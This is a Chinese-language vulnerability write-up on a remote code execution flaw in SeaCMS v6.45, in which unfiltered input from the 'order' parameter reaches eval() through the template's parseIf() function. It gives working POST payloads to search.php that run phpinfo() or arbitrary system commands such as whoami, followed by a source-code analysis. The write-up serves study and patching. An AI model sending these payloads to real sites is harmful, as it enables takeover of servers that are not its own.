環境搭建
1、下載安裝包
下載地址:
鏈接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw
密碼:cd48
2、常規安裝

漏洞復現
poc1:
http://127.0.0.1/seacms645/search.php
post:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
poc2:
POST:
searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=whoami
searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);if(1}{end if}&func=system&cmd=whoami

漏洞分析
0x00 代碼執行簡單流程

0x01 分析
總的來說就是:$order引數沒做嚴格的限制,就將其傳入了模板檔案中,然后使用eval()執行模板中包含$order的代碼,通過閉合拼接陳述句的方式,插入惡意代碼,實作遠程命令執行,
首先是從seacms_6.45/search.php入手,這個檔案包含了seacms/include/common.php,在common.php中第45-48行,將GET,POST等請求傳入的全域變數中的鍵值對轉換成變數,并對其中的值使用addslashes()進行處理:
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
在seacms/search.php檔案第63行,echoSearchPage()函式中,將$order變數注冊成全域變數:
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
而在search.php中,執行echoSearchPage()函式之前,沒有對$order變數進行處理,在echoSearchPage()函式中,使用$searchtype來選擇使用的模板檔案:
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
在if陳述句中可以看到,當$searchtype 的值為5的時候,傳入了%order引數,因此這里的$searchtype需要取值5,
下面153行,將模板檔案讀取到$content變數中:
$content = parseSearchPart($searchTemplatePath);
接著在155-173行替換標簽,其中第158行使用$order替換了模板中{searchpage:ordername}標簽:
<a href=https://www.cnblogs.com/ffx1/p/"{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映
最近熱播
評分最高
接著,在本檔案的第212行:
$content=$mainClassObj->parseIf($content);
跟進去,在seacms\include\main.class.php中第3098-3147行中:
function parseIf($content)
{
if (strpos($content, '{if:') === false) {
return $content;
} else {
$labelRule = buildregx("{if:(.*?)}(.*?){end if}", "is");
$labelRule2 = "{elseif";
$labelRule3 = "{else}";
preg_match_all($labelRule, $content, $iar);
$arlen = count($iar[0]);
$elseIfFlag = false;
for ($m = 0; $m < $arlen; $m++) {
$strIf = $iar[1][$m];
$strIf = $this->parseStrIf($strIf);
$strThen = $iar[2][$m];
$strThen = $this->parseSubIf($strThen);
if (strpos($strThen, $labelRule2) === false) {
if (strpos($strThen, $labelRule3) >= 0) {
$elsearray = explode($labelRule3, $strThen);
$strThen1 = $elsearray[0];
$strElse1 = $elsearray[1];
@eval("if(" . $strIf . "){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen1, $content);
} else {
$content = str_replace($iar[0][$m], $strElse1, $content);
}
} else {
@eval("if(" . $strIf . ") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen, $content);
} else {
$content = str_replace($iar[0][$m], "", $content);
}
}
} else {
$elseIfArray = explode($labelRule2, $strThen);
$elseIfArrayLen = count($elseIfArray);
$elseIfSubArray = explode($labelRule3, $elseIfArray[$elseIfArrayLen - 1]);
$resultStr = $elseIfSubArray[1];
$elseIfArraystr0 = addslashes($elseIfArray[0]);
@eval("if({$strIf}){\$resultStr=\"{$elseIfArraystr0}\";}");
for ($elseIfLen = 1; $elseIfLen < $elseIfArrayLen; $elseIfLen++) {
$strElseIf = getSubStrByFromAndEnd($elseIfArray[$elseIfLen], ":", "}", "");
$strElseIf = $this->parseStrIf($strElseIf);
$strElseIfThen = addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen], "}", "", "start"));
@eval("if(" . $strElseIf . "){\$resultStr=\"{$strElseIfThen}\";}");
@eval("if(" . $strElseIf . "){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {
break;
}
}
$strElseIf0 = getSubStrByFromAndEnd($elseIfSubArray[0], ":", "}", "");
$strElseIfThen0 = addslashes(getSubStrByFromAndEnd($elseIfSubArray[0], "}", "", "start"));
if (strpos($strElseIf0, '==') === false && strpos($strElseIf0, '=') > 0) {
$strElseIf0 = str_replace('=', '==', $strElseIf0);
}
@eval("if(" . $strElseIf0 . "){\$resultStr=\"{$strElseIfThen0}\";\$elseIfFlag=true;}");
$content = str_replace($iar[0][$m], $resultStr, $content);
}
}
return $content;
}
}
這段函式主要功能是將輸入的引數與正則匹配,之后進入eval()函式執行,
正則:
3102: $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
3105: preg_match_all($labelRule,$content,$iar);
要想進入到eval(),$content中必須含有{if:字串,看代碼執行流程,在eval()函式中,$strIf就是之前preg_match_all()中第一個(.*?)匹配出來的值,
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
在eval()中,要閉合前面的if陳述句,可以構造1)phpinfo();if(1,又要符合正則{if:(.?)}(.?){end if},再看標簽:
<a href=https://www.cnblogs.com/ffx1/p/"{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映
由于$order替換的是{searchpage:ordername},所以,在1)phpinfo();if(1基礎上添加:
}{end if}{if:1)phpinfo();if(1}{end if}
漏洞利用的基本流程就是這樣,簡單來說,就是有個可控的變數沒有經過過濾,就被帶入了eval()中,導致了代碼執行,
參考
https://mengsec.com/2018/08/06/SeaCMS-v6-45%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://github.com/SecWiki/CMS-Hunter/tree/master/seacms/SeaCMS%20v6.45%E5%89%8D%E5%8F%B0Getshell%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/33733.html
標籤:其他
上一篇:未授權訪問漏洞匯集
下一篇:如何成為一名合格的前端工程師
